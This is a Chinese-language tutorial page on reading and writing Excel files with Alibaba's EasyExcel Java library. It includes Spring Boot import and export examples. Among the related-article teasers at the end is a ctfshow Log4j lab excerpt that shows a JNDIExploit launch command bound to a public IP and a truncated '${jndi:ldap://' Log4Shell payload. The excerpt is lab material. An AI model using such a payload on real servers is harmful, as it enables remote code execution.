Alibaba-Easyexcel 使用总结

news2024/9/21 14:41:40

简介

简介

EasyExcel 是一个基于 Java 的简单、省内存的读写 Excel 的开源项目,在尽可能节约内存的情况下支持读写百 M 的 Excel。

但注意,其不支持:

  • 单个文件的并发写入、读取
  • 读取图片

常见问题

Excel 术语

  • Sheet,工作薄。

    在这里插入图片描述

  • Row,行,第一行索引从 0 开始。

  • Column,列,第一列索引从 0 开始。

    在这里插入图片描述

  • Cell,单元格。

    在这里插入图片描述

项目准备

新建 Maven 项目,如下配置:

<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>easyexcel</artifactId>
        <version>3.1.1</version>
    </dependency>
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
        <version>1.18.22</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.47</version>
    </dependency>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.12</version>
        <scope>test</scope>
    </dependency>
</dependencies>

读 Excel

简单读取

准备如下 excel 文件。

在这里插入图片描述

编写数据类,用来对从 Excel 文件读取到文件内容进行封装。

@Data
public class PersonData {
    private Long id;
    private Date birthday;
    private String name;
}

编写读取代码,使用 EasyExcel 提供 API 读取 Excel 文件内容。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

// 不要求:JDK8+
// 不用额外写一个 XxxListener,直接用内置 ReadListener
@Test
public void read() {
    String fileName = "Excel 文件路径";
    // 这里需要指定读用哪个 class 去读,然后读取第一个 sheet 文件流会自动关闭
    EasyExcel.read(fileName, PersonData.class, new ReadListener<PersonData>() {
        /**
        * 单次缓存的数据量
        */
        private static final int BATCH_COUNT = 100;
        /**
        * 临时存储
        */
        private List<PersonData> cachedDataList = ListUtils.newArrayListWithExpectedSize(BATCH_COUNT);

        @Override
        public void invoke(PersonData data, AnalysisContext context) {
            cachedDataList.add(data);
            if (cachedDataList.size() >= BATCH_COUNT) {
                printData();
                // 存储完成清理 list
                cachedDataList = ListUtils.newArrayListWithExpectedSize(BATCH_COUNT);
            }
        }

        @Override
        public void doAfterAllAnalysed(AnalysisContext context) {
            printData();
        }

        /**
        * 打印数据
        */
        private void printData() {
            for (PersonData personData : cachedDataList) {
                System.out.println(personData);
            }
        }
    }).sheet().doRead();
}


// 要求:JDK8+,EasyExcel since:3.0.0-beta1
// 不用额外写一个 XxxListener,直接用内置 PageReadListener
@Test
public void read() {
    String fileName = "Excel 文件路径";
    // 这里 需要指定读用哪个 class 去读,然后读取第一个 sheet 文件流会自动关闭
    // 这里每次会读取 100 条数据 然后返回过来 直接调用使用数据就行
    EasyExcel.read(fileName, PersonData.class, new PageReadListener<PersonData>(dataList -> {
        dataList.forEach(System.out::println);
    })).sheet().doRead();
}

指定列的下标或者列名

默认情况 EasyExcel 是根据两个规则封装数据:一个是根据 Excel 中列的顺序与对象字段的顺序一致;另一个是根据 Excel 列的的单元格式与对象字段类型匹配。但开发者可以使用注解 @ExcelProperty,指定封装规则。

@Data
public class PersonData {
    @ExcelProperty(index = 1) // 指定读取的下标,下标默认从 0 开始。这里不建议 index 和 name 同时用,要么一个对象只用 index,要么一个对象只用 name 去匹配
    private Long id;
    @ExcelProperty("出生日期") // 指定读取的列名
    private Date birthday;
    @ExcelProperty("姓名") // 指定读取的列名
    private String name;
}

数据转换等异常处理:onException

读取时抛出异常,则代码会停止。若在监听器中重写处理异常的方法,则代码还会正常执行,继续读取其他行的数据。

准备如下 excel 文件。

在这里插入图片描述

编写读取代码。

@Test
public void read() {
    String fileName = "Excel 文件路径";
    EasyExcel.read(fileName, PersonData.class, new ReadListener<PersonData>() {
        /**
        * 单次缓存的数据量
        */
        private static final int BATCH_COUNT = 100;
        /**
        * 临时存储
        */
        private List<PersonData> cachedDataList = ListUtils.newArrayListWithExpectedSize(BATCH_COUNT);

        // 读取时出现异常会执行如下方法,并且不导致读取操作终止
        public void onException(Exception exception, AnalysisContext context) {
            // 打印异常
            System.out.println(exception.getMessage());
        }

        @Override
        public void invoke(PersonData data, AnalysisContext context) {
            cachedDataList.add(data);
            if (cachedDataList.size() >= BATCH_COUNT) {
                printData();
                // 存储完成清理 list
                cachedDataList = ListUtils.newArrayListWithExpectedSize(BATCH_COUNT);
            }
        }

        @Override
        public void doAfterAllAnalysed(AnalysisContext context) {
            printData();
        }

        /**
        * 打印数据
        */
        private void printData() {
            for (PersonData personData : cachedDataList) {
                System.out.println(personData);
            }
        }
    })
    .sheet().doRead();
}

读多个 sheet

先准备好如下 Excel 文件。

在这里插入图片描述

编写读取代码。

// 读多个或者全部 sheet,这里注意一个 sheet 不能读取多次,多次读取需要重新读取文件

//----------------------------读取全部 sheet---------
@Test
public void read() {
    String fileName = "Excel 文件路径";
    // 读取全部 sheet
    // PageReadListener 的 doAfterAllAnalysed 会在每个 sheet 读取完毕后调用一次。
    EasyExcel.read(fileName, PersonData.class, new PageReadListener<PersonData>(dataList -> {
        dataList.forEach(System.out::println);
    })).doReadAll();


    
    
    // ---------------------读取指定或者所有 sheet----------------------------
    try (ExcelReader excelReader = EasyExcel.read(fileName).build()) {
        //创建读的工作簿对象
        ReadSheet readSheet1 = EasyExcel.readSheet(0)
                .head(PersonData.class)
                .registerReadListener(new PageReadListener<PersonData>(dataList -> {
                    dataList.forEach(System.out::println);
                }))
                .build();
        
        ReadSheet readSheet2 = EasyExcel.readSheet(1)
                .head(PersonData.class)
                .registerReadListener(new PageReadListener<PersonData>(dataList -> {
                    dataList.forEach(System.out::println);
                }))
                .build();
        // 这里注意 一定要把工作簿一起传进去,不然有个问题就是 03 版的 Excel 会读取多次,浪费性能
        excelReader.read(readSheet1, readSheet2);
    }
}



// --------------------指定读取某个 sheet------------------------------
@Test
public void read() {
    String fileName = "Excel 文件路径";

    EasyExcel.read(fileName, PersonData.class, new PageReadListener<PersonData>(dataList -> {
        dataList.forEach(System.out::println);
    })).sheet(0).doRead();
    EasyExcel.read(fileName, PersonData.class, new PageReadListener<PersonData>(dataList -> {
        dataList.forEach(System.out::println);
    })).sheet(1).doRead();
}

日期、数字或者自定义格式转换

先准备好如下 Excel 文件。

在这里插入图片描述

1、编写自定义转换器。

public class CustomStringStringConverter implements Converter<String> {

    // 支持 Java 的类型 
    @Override
    public Class<?> supportJavaTypeKey() {
        return String.class;
    }

    // 支持 Excel 单元格类型
    @Override
    public CellDataTypeEnum supportExcelTypeKey() {
        return CellDataTypeEnum.STRING;
    }

    /**
     * 当读到的数据符合类型,封装的字段也符合类型,按照下面方法转换数据
     * 这么转换,是由开发者在方法中重写
     * @param context
     * @return
     */
    @Override
    public String convertToJavaData(ReadConverterContext<?> context) {
        //context.getReadCellData().getStringValue(): 是原本的数据 
        return "大神:" + context.getReadCellData().getStringValue();
    }

    /**
     * 这里是写的时候会调用
     *  当读到的数据符合类型,封装的字段也符合类型,按照下面方法转换数据
     *  这么转换,是由开发者在方法中重写
     * @return
     */
    @Override
    public WriteCellData<?> convertToExcelData(WriteConverterContext<String> context) {
        return new WriteCellData<>(context.getValue());
    }

}

2、通过注解

编写数据类。

@Data
public class PlayerData {
    @ExcelProperty(converter = CustomStringStringConverter.class)//----------->转换器
    private String name;
    @DateTimeFormat("yyyy年MM月dd日")
    private Date birthday;
    private BigDecimal bf;
}

在这里插入图片描述

编写读取代码。

在这里插入图片描述

@Test
public void read() {
    String fileName = "Excel 文件路径";
    // 这里需要指定读用哪个 class 去读,然后读取第一个 sheet 文件流会自动关闭
    // 这里每次会读取 100 条数据 然后返回过来 直接调用使用数据就行
    EasyExcel.read(fileName, PlayerData.class, new PageReadListener<PlayerData>(dataList -> {
        dataList.forEach(System.out::println);
    }))
    // 如果就想单个字段使用请使用 @ExcelProperty 指定 converter
    // .registerConverter(new CustomStringStringConverter())
    .sheet().doRead();
}

指定行读取

默认情况下 EasyExcel 从第 1 行(0 行是列头)读取。把上面测试代码修改如下进行测试。

@Test
public void read() {
    String fileName = "Excel 文件路径";
    EasyExcel.read(fileName, PlayerData.class, new PageReadListener<PlayerData>(dataList -> {
        dataList.forEach(System.out::println);
    }))
    .sheet()
    .headRowNumber(2) // 手动指定从从第 2 行读取
    .doRead();
}

写 Excel

简单写入

修改数据类。

@Data
public class PersonData {
    private Long id;
    private Date birthday;
    private String name;
    private String ignore;
    
    public PersonData() {}

    public PersonData(Long id, Date birthday, String name) {
        this.id = id;
        this.birthday = birthday;
        this.name = name;
    }
}

编写模拟提供数据类。

public class PersonMock {
    public static List<PersonData> data() {
        return Arrays.asList(
            new PersonData(1L, new Date(), "刘备"),
            new PersonData(2L, new Date(), "关羽"),
            new PersonData(3L, new Date(), "张飞"),
            new PersonData(4L, new Date(), "赵云"),
            new PersonData(5L, new Date(), "诸葛亮"),
            new PersonData(6L, new Date(), "黄忠"),
            new PersonData(7L, new Date(), "魏延"),
            new PersonData(8L, new Date(), "庞统"),
            new PersonData(9L, new Date(), "法正"),
            new PersonData(10L, new Date(), "黄权")
        );
    }
}

编写写入代码。

// 注意在数据量不大的情况下可以使用(5000 以内,具体也要看实际情况),数据量大请参照后面重复多次写入
@Test
public void write() {
    // 写法 1,要求:JDK8+,EasyExcel since:3.0.0-beta1
    String fileName = "Excel 文件路径";
    // 这里需要指定写用哪个 class 去写,然后写到第一个 sheet,工作薄名字为模板,然后文件流会自动关闭
    EasyExcel.write(fileName, PersonData.class)
        .sheet("模板")
        .doWrite(PersonMock::data);//这才是真正的写入

    // 写法 2
    // 这里需要指定写用哪个 class 去写
    try (ExcelWriter excelWriter = EasyExcel.write(fileName, PersonData.class).build()) {
        WriteSheet writeSheet = EasyExcel.writerSheet("模板").build();
        excelWriter.write(PersonMock::data, writeSheet);
    }
}

效果如下:

在这里插入图片描述

指定写入的列(忽略某个列)

方式 1:修改数据类,使用注解 @ExcelIgnore。

@Data
public class PersonData {
    private Long id;
    private Date birthday;
    private String name;
    /**
     * 忽略这个字段
     */
    // @ExcelIgnore
    private String ignore;

    public PersonData() {}

    public PersonData(Long id, Date birthday, String name) {
        this.id = id;
        this.birthday = birthday;
        this.name = name;
    }
}

效果如下:

在这里插入图片描述

方式 2:修改测试代码。

@Test
public void write() {
    String fileName = "Excel 文件路径";

    Set<String> excludeColumnFieldNames = new HashSet<>();
    excludeColumnFieldNames.add("birthday");

    EasyExcel.write(fileName, PersonData.class)
        .excludeColumnFieldNames(excludeColumnFieldNames) // 指定写入时排除哪些列
        .sheet("模板")
        .doWrite(PersonMock::data);
}

效果如下:

在这里插入图片描述

指定写入时包含哪些列

@Test
public void write() {
    String fileName = "Excel 文件路径";

    Set<String> includeColumnFieldNames = new HashSet<>();
    includeColumnFieldNames.add("id");
    includeColumnFieldNames.add("name");

    EasyExcel.write(fileName, PersonData.class)
        .includeColumnFieldNames(includeColumnFieldNames) // 指定写入时包含哪些列
        .sheet("模板")
        .doWrite(PersonMock::data);
}

效果如下:
在这里插入图片描述

指定写入列名及顺序

修改数据类,使用 @ExcelProperty 注解指定写入时的列名和顺序。

@Data
public class PersonData {
    @ExcelProperty(value = "id", index = 1) // 这个注解可以指定读写时的列名及顺序
    private Long id;
    @ExcelProperty(value = "出生日期", index = 3)
    private Date birthday;
    @ExcelProperty(value = "姓名", index = 2)
    private String name;

    public PersonData() {}

    public PersonData(Long id, Date birthday, String name) {
        this.id = id;
        this.birthday = birthday;
        this.name = name;
    }
}

编写写入代码。

@Test
public void write() {
    String fileName = "Excel 文件路径";
    EasyExcel.write(fileName, PersonData.class)
        .sheet("模板")
        .doWrite(PersonMock::data);
}

效果如下:

在这里插入图片描述

复杂头写入

修改数据类。

@Data
public class PersonData {

    @ExcelProperty({"蜀国", "id"}) // 第一个主列名,第二次级列名
    private Long id;
    @ExcelProperty({"蜀国", "出生日期"})
    private Date birthday;
    @ExcelProperty({"蜀国", "姓名"})
    private String name;

    public PersonData() {}

    public PersonData(Long id, Date birthday, String name) {
        this.id = id;
        this.birthday = birthday;
        this.name = name;
    }
}

编写写入代码。

@Test
public void write() {
    String fileName = "Excel 文件路径";
    EasyExcel.write(fileName, PersonData.class)
        .sheet("模板")
        .doWrite(PersonMock::data);
}

效果如下:

在这里插入图片描述

重复多次写入

支持单个 sheet 多次写入,或者支持写多个 sheet。

往一个 sheet 多次写入,写入代码如下:

@Test
public void write() {
    String fileName = "Excel 文件路径";
    try (ExcelWriter excelWriter = EasyExcel.write(fileName, PersonData.class).build()) {
        // 注意若同一个 sheet 只要创建一次
        WriteSheet writeSheet = EasyExcel.writerSheet("模板").build();
        // 调用 2 次写入,实际使用时根据数据库分页的总的页数来
        for (int i = 0; i < 2; i++) {
            // 分页去数据库查询数据 这里可以去数据库查询每一页的数据
            List<PersonData> data = PersonMock.data();
            excelWriter.write(data, writeSheet);
        }
    }
}

效果如下:

在这里插入图片描述

往多个 sheet 写入相同数据

写入代码如下:

@Test
public void write() {
    String fileName = "Excel 文件路径";
    try (ExcelWriter excelWriter = EasyExcel.write(fileName, PersonData.class).build()) {
        for (int i = 0; i < 2; i++) {
            // 每次都要创建 writeSheet,需要指定 sheet 缩影,而且 sheet 名称必须不一样
            WriteSheet writeSheet = EasyExcel.writerSheet(i, "模板" + i).build();
            // 写入数据
            excelWriter.write(PersonMock.data(), writeSheet);
        }
    }
}

效果如下:

在这里插入图片描述

往多个 sheet 写入不同数据

修改数据类。

@Data
public class PlayerData {
    private String name;
    private Date birthday;
    private BigDecimal bf;

    public PlayerData() { }

    public PlayerData(String name, Date birthday, BigDecimal bf) {
        this.name = name;
        this.birthday = birthday;
        this.bf = bf;
    }
}

编写模拟提供数据类。

public class PlayerMock {
    public static List<PlayerData> data() {
        return Arrays.asList(
            new PlayerData("C罗", new Date(), new BigDecimal("0.07")),
            new PlayerData("乔丹", new Date(), new BigDecimal("0.03"))
        );
    }
}

编写写入代码。

public void write5() {
    String fileName = "Excel 文件路径";
    try (ExcelWriter excelWriter = EasyExcel.write(fileName).build()) {
        
        // 向第一个 sheet 写入 PersonData 类型的数据
        WriteSheet writeSheet0 = EasyExcel.writerSheet(0, "蜀国")
            .head(PersonData.class) // 设置第一行列标题,列头
            .build();
        excelWriter.write(PersonMock.data(), writeSheet0);

        // 向第二个 sheet 写入 PlayerData 类型的数据
        WriteSheet writeSheet1 = EasyExcel.writerSheet(1, "运动员")
            .head(PlayerData.class) // // 设置第一行列标题
            .build();
        excelWriter.write(PlayerMock.data(), writeSheet1);
    }
}

效果如下:

在这里插入图片描述

日期、数字或者自定义格式转换

编写自定义转换器。

public class CustomStringStringConverter implements Converter<String> {

    @Override
    public Class<?> supportJavaTypeKey() {
        return String.class;
    }

    @Override
    public CellDataTypeEnum supportExcelTypeKey() {
        return CellDataTypeEnum.STRING;
    }

    /**
     * 这里读的时候会调用:前面有
     *
     * @param context
     * @return
     */
    @Override
    public String convertToJavaData(ReadConverterContext<?> context) {
        return "大神:" + context.getReadCellData().getStringValue();
    }

    /**
     * 这里是写的时候会调用
     *  当读到的数据符合类型,封装的字段也符合类型,按照下面方法转换数据
     *  这么转换,是由开发者在方法中重写
     * @return
     */
    @Override
    public WriteCellData<?> convertToExcelData(WriteConverterContext<String> context) {
        return new WriteCellData<>("大神:" + context.getValue());
    }

}

修改数据类,使用注解指定转换格式。

@Data
public class PlayerData {
    @ExcelProperty(converter = CustomStringStringConverter.class)//------------>转换器
    private String name;
    @DateTimeFormat("yyyy年MM月dd日")
    private Date birthday;
    @NumberFormat("#.##%")
    private BigDecimal bf;

    public PlayerData() { }

    public PlayerData(String name, Date birthday, BigDecimal bf) {
        this.name = name;
        this.birthday = birthday;
        this.bf = bf;
    }
}

编写写入的代码。

@Test
public void write() {
    String fileName = "Excel 文件路径";
    EasyExcel.write(fileName, PlayerData.class)
        .sheet("模板")
        .doWrite(PlayerMock::data);
}

效果如下:

在这里插入图片描述

指定列宽行高

修改数据类,使用注解指定列宽、行高。

@Data
@HeadRowHeight(30) // 指定列头行高度
@ContentRowHeight(20) // 指定内容行高度
@ColumnWidth(25) // 指定列宽
public class PlayerData {
    private String name;
    private Date birthday;
    private BigDecimal bf;

    public PlayerData() { }

    public PlayerData(String name, Date birthday, BigDecimal bf) {
        this.name = name;
        this.birthday = birthday;
        this.bf = bf;
    }
}

编写写入的代码。

@Test
public void write() {
    String fileName = "Excel 文件路径";
    EasyExcel.write(fileName, PlayerData.class)
        .sheet("模板")
        .doWrite(PlayerMock::data);
}

效果如下:

在这里插入图片描述

Web 环境导入导出

项目准备

新建 Spring Boot 项目,添加如下依赖:

<properties>
    <java.version>1.8</java.version>
</properties>
<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
        <optional>true</optional>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>easyexcel</artifactId>
        <version>3.1.1</version>
    </dependency>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.47</version>
    </dependency>
</dependencies>

把上面项目的的数据类 PersonData 和提供模拟数据类 PersonMock 拷贝到这个项目。

导出

所谓导出,就把后端数据库中数据,通过网络已 Excel 文件形式下载到客户端。

@GetMapping("/export")
public void exportExcel(HttpServletResponse response) throws IOException {
    response.setHeader("Content-disposition", "attachment;filename=person.xlsx");
    EasyExcel.write(response.getOutputStream(), PersonData.class)
        .sheet("模板")
        .doWrite(PersonMock::data);
}

导入

所谓导入,就把客户端 Excel 文件上传到后端,后端通过代码读取 Excel 文件的数据存入到数据库中。

@PostMapping("/import")
@ResponseBody
public String importExcel(MultipartFile file) throws IOException {
    EasyExcel.read(file.getInputStream(), PersonData.class, new PageReadListener<PersonData>((dataList) -> {
        dataList.forEach(System.out::println);
    }))
    .sheet().doRead();
    return "success";
}

@PostMapping("/import")
@ResponseBody
public String importExcel(MultipartFile file) throws IOException {
    // 同步读取(适合数据量小)
    List<Object> objects = EasyExcel.read(file.getInputStream()).head(PersonData.class).sheet().doReadSync();
    for (Object object : objects) {
        System.out.println(object);
    }
    return "success";
}

其他

ExcelExcel 构建体系

在这里插入图片描述

  • EasyExcel 继承 EasyExcelFactory,只是为给开发者用更短的名字
  • EasyExcelFactory 工厂类,主要用来创建 ExcelReaderBuilder、ExcelReaderSheetBuilder 和 ExcelWriterBuilder、ExcelWriterSheetBuilder 对象。
  • ExcelReaderBuilder,应用了 Bulider Pattern 模式,用来按照步骤一步步构建 ExcelReader 对象,也可以用来创建 ExcelReaderSheetBuilder 对象。
  • ExcelReaderSheetBuilder,用来调用 ExcelReader 对象中方法。
  • ExcelReader,用来对 Excel 文件进行读取操作。
  • ExcelWriterBuilder,应用了 Bulider Pattern 模式,用来按照步骤一步步构建 ExcelWriter 对象,也可以用来创建 ExcelWriterSheetBuilder 对象。
  • ExcelWriterSheetBuilder,用来调用 ExcelWriter 对象中方法。
  • ExcelWriter,用来对 Excel 文件进行写入操作。

Listener 体系

在这里插入图片描述

  • Listener 接口,里面没有任何方法。
  • ReadListener 接口,我们在使用 EasyExcel API 读取 excel 文件内容时,需要使用到这个类型的对象,并根据需求重写其中两个方法:
    • void invoke(T data, AnalysisContext context),每一条数据解析都会来调用这个方法;
    • void doAfterAllAnalysed(AnalysisContext context),所有数据解析完成了会来调用这个方法。
  • PageReadListener 接口,是对上面接口改造成 lambda 风格,让开发者使用便捷。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/909410.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

商业智能BI是什么都不明白,如何实现数字化?

2021年下半年中国商业智能软件市场规模为4.8亿美元&#xff0c;2021年度市场规模达到7.8亿美元&#xff0c;同比增长34.9%&#xff0c;呈现飞速增长的趋势。数字化时代&#xff0c;商业智能BI对于企业的落地应用有着巨大价值&#xff0c;逐渐成为了现代企业信息化、数字化转型中…

pytest结合Excel实现接口自动化

前言 我们先来回顾下之前篇章“pytest通过parametrize方法实现数据驱动实战”&#xff0c;主要是通过yaml文件来读取测试用例。而我们用Excel文件存放测试用例又有什么区别呢&#xff1f; 毫无疑问&#xff0c;Pytest自动化测试框架也能读取Excel文件实现数据驱动。 还记得之…

【BASH】回顾与知识点梳理(三十八)

【BASH】回顾与知识点梳理 三十八 三十八. 源码概念及简单编译38.1 开放源码的软件安装与升级简介什么是开放源码、编译程序与可执行文件什么是函式库什么是 make 与 configure什么是 Tarball 的软件如何安装与升级软件 38.2 使用传统程序语言进行编译的简单范例单一程序&#…

探究HTTP API接口测试:工具、方法与自动化

本文将深入探讨HTTP API接口测试的重要性&#xff0c;并介绍了相关工具、方法以及自动化测试的实施&#xff0c;同时比较了HTTP和API接口测试的区别。从不同角度解析这一关键测试领域&#xff0c;帮助读者更好地理解和应用于实际项目中。 在如今数字化的世界中&#xff0c;软件…

废品回收抢单派单小程序开源版开发

废品回收抢单派单小程序开源版开发 用户注册和登录&#xff1a;用户可以通过手机号码注册和登录小程序&#xff0c;以便使用废品回收抢单派单功能。废品回收订单发布&#xff1a;用户可以发布废品回收订单&#xff0c;包括废品种类、数量、回收地点等信息。废品回收抢单&#…

冷冻冷藏自动化立体库|HEGERLS四向穿梭车助力打造冷链智能仓储新力量

随着中国仓储物流整体规模和低温产品消费需求的稳步增长&#xff0c;冷链市场应用潜力不断释放。而在实际运行中&#xff0c;由于冷库容量不足、基础设施落后、管理机制欠缺等原因&#xff0c;经常出现“断链”现象&#xff0c;严重威胁到产品质量和消费者安全。 河北沃克金属…

电力虚拟仿真 | 高压电气试验VR教学系统

在科技进步的推动下&#xff0c;我们的教育方式也在发生着翻天覆地的变化。其中&#xff0c;虚拟现实&#xff08;VR&#xff09;技术的出现&#xff0c;为我们提供了一种全新的、富有沉浸感的学习和培训方式。特别是在电力行业领域&#xff0c;例如&#xff0c;电力系统的维护…

ctfshow-Log4j复现-log4j复现

1、买VPS&#xff0c;打开mobax进行ssh连接&#xff0c;开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

【云原生】Docker Cgroups资源控制管理

目录 一、cgroups简介 cgroups有四大功能&#xff1a; 二、cpu时间片的概念 三、对CPU使用的限制 3.1 设置CPU使用率上限 &#xff08;1&#xff09;查看容器的默认CPU使用限制 &#xff08;2&#xff09;进行压力测试 &#xff08;3&#xff09;创建容器时设置CPU使用时…

机器学习:什么是分类/回归/聚类/降维/决策

目录 学习模式分为三大类&#xff1a;监督&#xff0c;无监督&#xff0c;强化学习 监督学习基本问题 分类问题 回归问题 无监督学习基本问题 聚类问题 降维问题 强化学习基本问题 决策问题 如何选择合适的算法 我们将涵盖目前「五大」最常见机器学习任务&#xff1a…

React(7)

1.React Hooks 使用hooks理由 1. 高阶组件为了复用&#xff0c;导致代码层级复杂 2. 生命周期的复杂 3. 写成functional组件,无状态组件 &#xff0c;因为需要状态&#xff0c;又改成了class,成本高 1.1 useState useState();括号里面处的是初始值&#xff1b;返回的是一个…

浅谈Spark的RDD、部署模式

一、RDD Spark RDD&#xff08;弹性分布式数据集&#xff09;&#xff0c;弹性是指Spark可以通过重新计算来自动重建丢失的分区。 从本质上讲&#xff0c;RDD 是数据元素的不可变分布式集合&#xff0c;跨集群中的节点进行分区&#xff0c;可以与提供转换和操作的低级 API 并行…

使用在 Web 浏览器中运行的 VSCode 实现 ROS2 测程法

一、说明 Hadabot是软件工程师学习ROS2和机器人技术的机器人套件。我们距离Hadabot套件的测试版还有一周左右的时间。我们将在本文末尾披露有关如何注册的更多信息。 新的Hadabot套件完全支持ROS2。除了硬件套件外&#xff0c;Hadabot软件环境将主要基于Web浏览器&#xff0c;以…

静态代码扫描持续构建(Jenkins)

前提条件 已正确安装、配置Jenkins环境&#xff0c;并装有 Gradle 插件、HTML 插件、SVN 插件等。如下图所示&#xff1a; 已正确安装、配置android sdk&#xff0c;在cmd窗口输入命令“android -h”,回车 配置步骤 打开Jenkins&#xff0c;新建一个job&#xff0c;输入项目…

【数据结构练习】单链表OJ题(一)

目录 一、移除链表元素思路1&#xff1a;思路2&#xff1a; 二、反转链表三、链表的中间节点四、链表中倒数第k个节点五、回文结构六、合并两个有序链表 一、移除链表元素 题目&#xff1a; 思路1&#xff1a; 在原来的链表上进行修改&#xff0c;节点的数据是val的删除&am…

Github的使用指南

首次创建仓库 1.官网创建仓库 打开giuhub官网&#xff0c;右上角点击你的头像&#xff0c;随后点击your repositories 点击New开始创建仓库 如下图为创建仓库的选项解释 出现如下界面就可以进行后续的git指令操作了 2.git上传项目 进入需上传项目的所在目录&#xff0c;打开…

JVM——垃圾回收器G1+垃圾回收调优

4.4 G1&#xff08;一个垃圾回收器&#xff09; 定义: 取代了CMS垃圾回收器。和CMS一样时并发的。 适用场景: 物理上分区&#xff0c;逻辑上分代。 相关JVM参数: -XX:UseG1GC-XX:G1HeapRegionSizesize-XX:MaxGCPauseMillistime 1) G1 垃圾回收阶段 三个回收阶段&#xff0…

【私有GPT】CHATGLM-6B部署教程

【私有GPT】CHATGLM-6B部署教程 CHATGLM-6B是什么&#xff1f; ChatGLM-6B是清华大学知识工程和数据挖掘小组&#xff08;Knowledge Engineering Group (KEG) & Data Mining at Tsinghua University&#xff09;发布的一个开源的对话机器人。根据官方介绍&#xff0c;这是…

Docker mysql主从同步安装

1. 构建master实例 docker run -p 3307:3306 --name mysql-master \ -v /mydata/mysql-master/log:/var/log/mysql \ -v /mydata/mysql-master/data:/var/lib/mysql \ -v /mydata/mysql-master/conf:/etc/mysql \ -e MYSQL_ROOT_PASSWORDroot \ -d mysql:5.7 2. 构建master配置…

Confluent kafka 异常退出rd_tmpabuf_alloc0: rd kafka topic info_new_with_rack

rd_tmpabuf_alloc0: rd kafka topic info_new_with_rack 根据网上的例子&#xff0c;做了一个测试程序。 C# 操作Kafka_c# kafka_Riven Chen的博客-CSDN博客 但是执行下面一行时&#xff0c;弹出上面的异常&#xff0c;闪退。 consumer.Subscribe(queueName) 解决方案&…